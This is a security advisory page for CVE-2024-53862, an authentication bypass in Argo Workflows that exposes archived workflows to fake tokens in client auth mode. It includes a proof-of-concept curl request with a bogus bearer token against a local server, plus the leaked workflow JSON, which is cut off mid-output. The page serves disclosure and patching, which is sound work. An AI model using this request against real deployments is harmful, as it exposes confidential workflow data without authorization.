🛡️ CVE-2024-53862 — argo-workflows
Description
Access to Archived Argo Workflows with Fake Token in client mode
Summary
When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}
When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}
Details
No authentication is performed by the Server itself on client tokens[^1]. Authentication & authorization is instead delegated to the k8s API server.
However, the [Workflow Archive](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go) does not interact with k8s, and so any token that [_looks_](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/mode.go#L37) [valid](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L185) will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does [the equivalent of a kubectl auth can-i](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go#L50) check for respective methods.
In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on [these lines](https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715), allowing archived workflows to be retrieved with a fake token.
PoC
Configuration
Controller ConfigMap:
```yaml
config: |
persistence:
archive: true
postgresql:
database: argoworkflows
host: db-host
passwordSecret:
key: postgresPassword
name: argo-wf-postgres-credentials
port: 5432
tableName: argo_workflows
userNameSecret:
key: username
name: argo-wf-postgres-credentials
```
Server: --auth-mode=client
Reproduction
Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.
For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):
```sh
curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g
```
<details><summary>Results in a returned workflow:</summary>
```
- Host localhost:8000 was resolved.
- IPv6: ::1
- IPv4: 127.0.0.1
- Trying [::1]:8000...
- Connected to localhost (::1) port 8000
> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.7.1
> Accept: */*
> Authorization: Bearer thisisatest
>
- Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: application/json
< Grpc-Metadata-Content-Type: application/grpc
< X-Ratelimit-Limit: 1000
< X-Ratelimit-Remaining: 999
< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC
< Date: Mon, 19 Aug 2024 20:44:26 GMT
< Transfer-Encoding: chunked
<
- Connection #0 to host localhost left intact
{
"metadata": {
"name": "hello-world-7tv5g",
"generateName": "hello-world-",
"namespace": "argo",
"uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4",
"resourceVersion": "9982",
"generation": 3,
"creationTimestamp": "2024-08-13T23:59:20Z",
"labels": {
"workflows.argoproj.io/archive-strategy": "false",
"workflows.argoproj.io/completed": "true",
"workflows.argoproj.io/phase": "Succeeded",
"workflows.argoproj.io/workflow-archiving-status": "Persisted"
},
"annotations": {
"workflows.argoproj.io/description": "This is a simple hello world example.\n",
"workflows.argoproj.io/pod-name-format": "v2"
},
"managedFields": [
{
"manager": "argo",
"operation": "Update",
"apiVersion": "argoproj.io/v1alpha1",
"time": "2024-08-13T23:59:20Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:metadata": {
"f:annotations": {
".": {},
"f:workflows.argoproj.io/description": {}
},
"f:generateName": {},
"f:labels": {
".": {},
"f:workflows.argoproj.io/archive-strategy": {}
}
},
"f:spec": {}
}
},
{
"manager": "work
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.
Weakness class
CVE-2024-53862 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.
Affected software
CVE-2024-53862 is recorded against 4 packages.
- argo-workflows
- github.com/argoproj/argo-workflows
- github.com/argoproj/argo-workflows/v2
- github.com/argoproj/argo-workflows/v3
Timeline and source
Published on 14 April 2025 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.
References
CVE-2024-53862 on other distributions
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| argo-workflows | — | — |
| github.com/argoproj/argo-workflows | — | — |
| github.com/argoproj/argo-workflows/v2 | — | — |
| github.com/argoproj/argo-workflows/v3 | — | — |
References
Similar Threats
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More CVE 2024 advisories
Browse all of CVE 2024 in the advisory index.
Exploit Protection
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